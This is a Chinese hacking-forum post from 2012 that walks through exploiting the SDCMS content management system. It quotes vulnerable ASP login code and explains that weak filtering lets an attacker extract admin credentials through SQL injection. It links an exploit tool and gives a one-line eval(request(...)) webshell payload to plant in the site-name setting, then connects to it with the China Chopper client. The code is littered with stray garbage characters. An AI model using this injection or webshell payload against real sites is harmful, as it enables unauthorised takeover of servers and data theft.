找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3169|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥7 m9 f7 Y, T! `8 a# x5 ~" a
漏洞文件:后台目录/index.asp$ |' v, h* V" \* f) |

- r" W: q8 k- ^& L' ]$ MSub Check! _8 F5 P( G. D+ \1 U6 ^- }1 ]4 l
    Dim username,password,code,getcode,Rs
/ Y" j! S- H# X% y0 H  K* }    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
( Q) r; K. `4 ^    username=FilterText(Trim(Request.Form("username")),1)
1 R# l9 N4 m0 k% x% T# q    password=FilterText(Trim(Request.Form("password")),1); v7 ]( S" S5 w& m1 w9 t
    code=Trim(Request.Form("yzm"))7 \% o: N  E4 ?/ b7 X6 r
    getcode=Session("SDCMSCode")
8 g- \9 `4 z; r7 c" r# m0 w, D" m- I    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
6 F. ^' w+ `' i) \0 Y6 e, h0 _! X1 M    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
: b, X& M) ^0 P% X* ?; Y( [* r& X    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied/ Z9 J, d3 J0 }0 p1 X' }
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied% N/ T! y7 k7 ~2 o3 p' W1 K
    IF username="" or password="" Then
2 e4 E6 [% d' s3 V2 N4 b& r        Echo "用户名或密码不能为空"ied
' F2 J2 h( Y' i4 }6 a/ N    Else9 `6 T$ ~# y+ F' \# u- g
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
; U8 y$ r# B$ |" J        IF Rs.Eof Then
& Z3 V# E0 v4 @  i            AddLog username,GetIp,"登录失败",1! i9 x" |3 ^0 t/ z( d$ i
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"" c" l" ]' q) g. v$ J
        Else7 j5 q2 A; c/ y1 t
            Add_Cookies "sdcms_id",Rs(0)
0 j4 n8 T/ t$ ^, s- f2 M            Add_Cookies "sdcms_name",username
4 e& y5 ^% |. \. E) i: D            Add_Cookies "sdcms_pwd",Rs(2): z6 s5 N3 Z- b1 u% h( `/ P
            Add_Cookies "sdcms_admin",Rs(3)6 ?$ M! R5 A5 c
            Add_Cookies "sdcms_alllever",Rs(4)/ Z* ?/ Z: U5 A. m* N0 w
            Add_Cookies "sdcms_infolever",Rs(5)$ W) J8 i0 q! j! \8 [
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
) C9 k0 g1 h/ E$ e% q$ g& V2 l5 y            AddLog username,GetIp,"登录成功",1/ [8 D  X/ t/ v5 F& ?
            '自动删除30天前的Log记录: G2 {+ U* L0 {# R
            IF Sdcms_DataType Then* }4 W& Y  @" u$ m0 l
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")2 v8 I  p+ A' R- ?+ N
            Else) X; }; j5 |( g( W: w( Y6 R
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
* Y. a# `3 L7 c, A8 C, e7 d            End IF' x: Z3 g; M4 r: a, A( C& W; r# b
            Go("sdcms_index.asp")4 r9 k7 z: z# I, d, k+ g: o
        End IF7 h0 y. r6 `6 w( U* ~6 L
        Rs.Close
4 H8 Q, X; c6 w3 I9 W        Set Rs=Nothing/ x& a1 _7 W4 H. t) y4 F7 v
    End IF
- n! K# T9 \- R) f! xEnd Sub1 @, q: c1 z' x0 `3 N8 e% }6 g: o

; |4 J/ v: _9 Q9 }% M, \9 G’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
4 N. h7 H4 X$ P/ a
, U2 d( F2 e5 _: a/ r  k# z, K" AFunction FilterText(ByVal t0,ByVal t1)
$ u% M0 y1 R  Q2 Q! A    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
  D: T) m! V! j- r' ~    t0=Trim(t0)
2 U4 b% u* W  P2 h$ @' ^    Select Case t1
. i6 M4 K( {0 q2 ~1 U) V% |2 J, A3 F        Case "1"4 H5 U/ n) Z5 k
            t0=Replace(t0,Chr(32),"")
3 Z+ V- Z+ g$ b            t0=Replace(t0,Chr(13),""). Q; p) |4 l% _& ~! [5 Y
            t0=Replace(t0,Chr(10)&Chr(10),"")
5 q. i% U5 _+ C6 M6 d" F            t0=Replace(t0,Chr(10),"")
8 \4 ]' y6 C' o  P. u( l$ y        Case "2"  F9 Q) t' c: y4 V3 e
            t0=Replace(t0,Chr(8),"")'回格  y& t* @' C3 A. V. c) K
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
2 Z2 |0 o3 I7 d, s            t0=Replace(t0,Chr(10),"")'换行+ g. c: V% s; t' z* N# _9 f; _8 o
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)) y$ ?& o& [/ o, B, e  o
            t0=Replace(t0,Chr(12),"")'换页
" V) D# x( {4 u# _            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合& D5 `6 K) C( p
            t0=Replace(t0,Chr(22),"")2 Y' ^: L% k" i+ t/ y
            t0=Replace(t0,Chr(32),"")'空格 SPACE( m5 U" L0 T3 I  C; V
            t0=Replace(t0,Chr(33),"")'!* \- _- F' b$ v! V, O5 z
            t0=Replace(t0,Chr(34),"")'"
; [, h" d; L  T3 H            t0=Replace(t0,Chr(35),"")'#
8 t, x6 ?4 E1 h- s0 x" d            t0=Replace(t0,Chr(36),"")'$
- l; u- j0 E1 E2 Q. j# C            t0=Replace(t0,Chr(37),"")'%
2 L! E* j) n! T9 s1 Y            t0=Replace(t0,Chr(38),"")'&  F/ v- ]% c; q. d
            t0=Replace(t0,Chr(39),"")''
) o3 T1 K5 A- O" |9 K            t0=Replace(t0,Chr(40),"")'(
% V6 b* B; r3 N2 r            t0=Replace(t0,Chr(41),"")')9 v, y! P7 R8 ^7 J3 I6 L
            t0=Replace(t0,Chr(42),"")'*
3 }0 s6 H" P) G6 j2 A5 ^3 V            t0=Replace(t0,Chr(43),"")'+
' M. N  A& b# _' i' O4 E( r* R            t0=Replace(t0,Chr(44),"")',$ w! K, j, t5 L% I; K
            t0=Replace(t0,Chr(45),"")'-
; O- C9 J7 P6 b- I# d* [) n            t0=Replace(t0,Chr(46),"")'.
  I1 e  d* P6 b. D0 B  z0 \            t0=Replace(t0,Chr(47),"")'/
3 b+ a+ d+ G3 w! \6 N            t0=Replace(t0,Chr(58),"")':
, q% t; n: ]' z7 J/ e% O3 x( u, z            t0=Replace(t0,Chr(59),"")';
3 a+ W1 B- m! ~: L* E) o            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>- L1 C; Q4 ?0 y4 r$ X# z8 L3 d
            t0=Replace(t0,Chr(63),"")'?
* Y( z; t0 `  j) l5 H7 j            t0=Replace(t0,Chr(64),"")'@
" X: C' _* Q. w( E& W+ ~            t0=Replace(t0,Chr(91),"")'\
$ |. I  Q* U* c2 `1 ~' [            t0=Replace(t0,Chr(92),"")'\
! G0 e8 j7 a- {% S( \& M            t0=Replace(t0,Chr(93),"")']
! I/ |. [& \  r; i% i7 e            t0=Replace(t0,Chr(94),"")'^
' \' k6 P, ^6 ~5 u            t0=Replace(t0,Chr(95),"")'_
! b9 o! W+ R( o  O            t0=Replace(t0,Chr(96),"")'`
5 v! d2 d7 L4 J            t0=Replace(t0,Chr(123),"")'{0 d( K2 `3 B: w$ _8 @3 K
            t0=Replace(t0,Chr(124),"")'|
- u% I  [8 c, k4 w' t5 G/ h            t0=Replace(t0,Chr(125),"")'}
' j2 l, F8 g- H( w. t            t0=Replace(t0,Chr(126),"")'~
/ D- F5 `: r/ g  y    Case Else
, a8 \2 [* C9 d& N# y! E, F        t0=Replace(t0, "&", "&")" r9 }; [$ |& q8 o. a: \
        t0=Replace(t0, "'", "'")
! b5 U, m& `/ M/ w0 `        t0=Replace(t0, """", """)
4 D. }* I- n1 ~; B9 S        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
- ^7 |- |( ^, b) X4 _    End Select
. m9 i9 B5 T3 G2 A8 U    IF Instr(Lcase(t0),"expression")>0 Then2 U: q/ E/ v" C9 h# U& [7 x
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
9 H9 R6 C% }% R# [! B( K! z+ H9 \    End If
7 H; S6 ]3 Z- x+ T    FilterText=t0; g4 o* e$ R/ q
End Function
& ^* ?6 e; ~5 `* I
; X& {  U# }, C) Z看到没。直接参数是1 只过滤4 \# |5 b9 r7 o2 Q: L( q" C
                        t0=Replace(t0,Chr(32)," ")
5 i. x% x6 K; ]& |                        t0=Replace(t0,Chr(13),"")2 |. ?; G: c1 r3 S: j0 O( S% r3 [
                        t0=Replace(t0,Chr(10)&Chr(10),"
& B! Y2 V. z/ u  k")
# w2 x. o0 l# @( j4 d  o                        t0=Replace(t0,Chr(10),"
% L# E! C8 c7 p3 k1 f")
$ M* {  v8 v& \' a4 W7 A. f- A) ^漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
2 ]* n% g2 M8 x, tEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP7 g( W- C2 q+ m2 v7 m6 q! o
1 ?# r. X# N( L# }4 E* T
测试:
( Z+ N) s3 B% H: G- ]0 o# U) Y) W* K. ~) T9 D

3 K! k3 ?8 ?" F3 a( k现在输入工具上验证码,然后点OK
; G4 R4 c+ n3 Z
8 e, U' @( @7 s1 V- p. T0 F, u' b2 ^2 ^; n6 P, O, D, T
看到我们直接进入后台管理界面了,呵呵!% f5 G2 G1 n0 O  I" I, e5 t, M- S

) h) j% j1 g+ o* K! K
4 J5 [. y: J7 r; W' S, \1 N- u
& M9 o( N( f, |* Z4 Q6 `9 V这样直接进入后台了。。。。' V1 r, R8 @$ ~
1 ?6 @% l, V( v! |

+ C4 m0 k- S! {  h% g$ r1 A6 n, p. A2 h. k  f, x8 F$ i1 p
SDCMS提权:3 u3 s; f; \. h# n
: T$ k, j8 R5 H2 O8 O
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; ~4 J. Q% b4 G8 X% e7 K; h8 _8 n& O1 U0 \* C  w' j; P
' a/ N! E: \& a4 I* i' [

; ^6 e0 g9 p9 M- kOK,现在用菜刀连接下!
% l% j$ a0 D3 P9 E( e" p$ i. K3 ?# z, D' N" u
2 U7 A) t! A& N& u$ P- K% a& w7 y, }$ a

7 i3 K# A( W2 E ) c0 {1 I, l) U( h' h; D! j# i3 D. \

5 M- T$ B/ d. b% J0 M# l4 Z; Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表